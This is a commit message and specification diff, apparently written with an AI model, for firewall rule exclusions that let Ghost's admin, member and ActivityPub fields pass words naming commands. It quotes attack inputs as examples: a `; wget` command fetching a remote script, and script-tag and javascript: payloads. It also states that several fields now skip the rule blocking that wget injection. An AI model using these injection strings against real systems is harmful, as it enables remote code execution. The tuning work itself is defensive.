Core Rule Set: Ghost's remaining fields pass with words that name commands (closes #359)

Ghost 6.76.0 was sent the fields the Ghost unit had not recorded with
python3, powershell, ls -la and .htaccess. Fixes in ghost.conf:

- the rules of plain text, now eight with 932235, for staff profiles, setup,
  invitations, tiers, offers, recommendations, integrations, webhooks,
  feature image captions, members' comments, the CSV import's labels,
  ActivityPub, and the analytics' query fields;
- 932235 for the existing plain-text fields too, so "powershell & python3"
  passes there;
- filter skips six more command rules, for the post picker's
  title:~'powershell & python3';
- staff invitation addresses, email_segment and a tag's code injection.

Model: opus-5-5

SPEC.md

@@ -1747,31 +1747,62 @@ Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
 ordinary Ghost requests there. `internal/coreruleset/ghost.conf` lists each rule
 and the request it refused. Ghost's admin and integrations call the Admin API
 under `/ghost/api/admin/`. Themes and Ghost's scripts call the Content API under
-`/ghost/api/content/`, and members call `/members/api/`.
+`/ghost/api/content/`, and members call `/members/api/`. The admin calls
+ActivityPub, a service of its own, under `/.ghost/activitypub/`.
 
-Three query fields skip some rules:
+The rules of plain text are 930120, 932120, 932125, 932230, 932235, 932250,
+932260 and 932380. They refused words that name commands and files, such as
+`python3`, `ls -la` and `.htaccess`, and titles such as `powershell & python3`.
 
-- `filter`, a query in Ghost's own filter language, skips 932120 on the Admin
-  API and the Content API, so `tag:powershell` passes;
+These query fields skip some rules:
+
+- `filter`, a query in Ghost's own filter language, skips the rules of plain
+  text except 930120, on the Admin API and the Content API;
 - `search`, a search for a member, skips 930120, 932120, 932250 and 932260 on
   the Admin API;
 - `url`, the address the editor looks up for an embed or a bookmark, skips
-  930120 and 932120.
+  930120 and 932120;
+- `pathname`, `source` and the `utm_` fields, which filter the analytics, skip
+  the rules of plain text under `/ghost/api/admin/stats/`;
+- `email_segment`, the members a post is sent to as a newsletter, skips 932120
+  on the Admin API's posts;
+- `query`, a search for an account in ActivityPub, skips the rules of plain
+  text;
+- `email`, when an invitation is checked, skips 930120, 932120 and 932260.
 
-The fields of JSON bodies where a person types plain text skip 930120, 932120,
-932125, 932230, 932250, 932260 and 932380. They are these fields of posts,
-pages, tags, labels, members, newsletters and snippets, on the Admin API:
+The fields of JSON bodies where a person types plain text skip the rules of
+plain text. They are these fields of posts, pages, tags, labels, members,
+newsletters and snippets, on the Admin API:
 
 - `title`, `name` and `slug`;
 - a post's `tags` and a member's `labels`, by name or slug;
 - `custom_excerpt`, `description`, `note` and `sender_name`;
 - the `meta_`, `og_` and `twitter_` titles and descriptions.
 
-A member's `name` at `/members/api/` skips them too. A member's `email` skips
-930120, 932120 and 932260, at `/members/api/` and when the admin adds or edits a
-member. A staff user's address skips them too: `username` when signing in, and
-`email` when creating the first staff user, asking for a password reset or
-saving a profile.
+These fields on the Admin API skip them too:
+
+- a staff user's `name`, `slug`, `bio`, `location` and `website`;
+- `blogTitle` and `name` when creating the first staff user;
+- `name` when accepting an invitation;
+- `name`, `description` and `benefits` of tiers;
+- `name`, `code`, `display_title` and `display_description` of offers;
+- `title`, `description` and `excerpt` of recommendations;
+- `name` and `description` of integrations, and `name` of webhooks;
+- `feature_image_alt` and `feature_image_caption` of posts and pages.
+
+These fields skip them on their own paths:
+
+- a member's `name` at `/members/api/`;
+- `html` of a member's comment at `/members/api/comments/`;
+- `labels`, when the admin imports members from a CSV file;
+- in ActivityPub, `content` of a note or a reply, and `name`, `username` and
+  `bio` of the account.
+
+A member's `email` skips 930120, 932120 and 932260, at `/members/api/` and when
+the admin adds or edits a member. A staff user's address skips them too:
+`username` when signing in, and `email` when creating the first staff user,
+asking for a password reset, saving a profile, inviting a staff user or
+accepting an invitation.
 
 The articles carry HTML on purpose. These fields on the Admin API hold them:
 
@@ -1791,20 +1822,24 @@ The articles skip these rules:
 Code injection is the HTML that Ghost adds to the head and the foot of a page.
 These fields on the Admin API hold it:
 
-- `codeinjection_head` and `codeinjection_foot` of posts and pages;
+- `codeinjection_head` and `codeinjection_foot` of posts, pages and tags;
 - `value` of settings, since the site's settings hold its code injection.
 
 Code injection skips these rules:
 
-- 930120, 932120, 932125, 932230, 932250, 932260 and 932380, as plain text does;
+- the rules of plain text except 932235;
 - 921130, 941100, 941160 and 941270, which refused `<meta>` and `<link>`
   elements.
 
 `<script>alert(1)</script>` and `javascript:alert(1)` are still refused in the
 articles and code injection (941110, 941170 and 941210). Path traversal and SQL
 injection are still refused in every field above. Script injection is too,
-outside the articles. `; wget http://example.com/x.sh` is still refused in the
-query fields, the plain text and the addresses.
+outside the articles.
+
+`; wget http://example.com/x.sh` is still refused in the addresses, `search`,
+`url`, `email_segment` and `email`. The plain text, the articles and the other
+query fields skip 932235, which refuses it, since 932235 also refuses
+`powershell & python3`.
 
 Coraza names a staff user's `profile_image` field `json.users.0.profile_image`.
 That name holds `.profile`, a file on the list of system files, so the name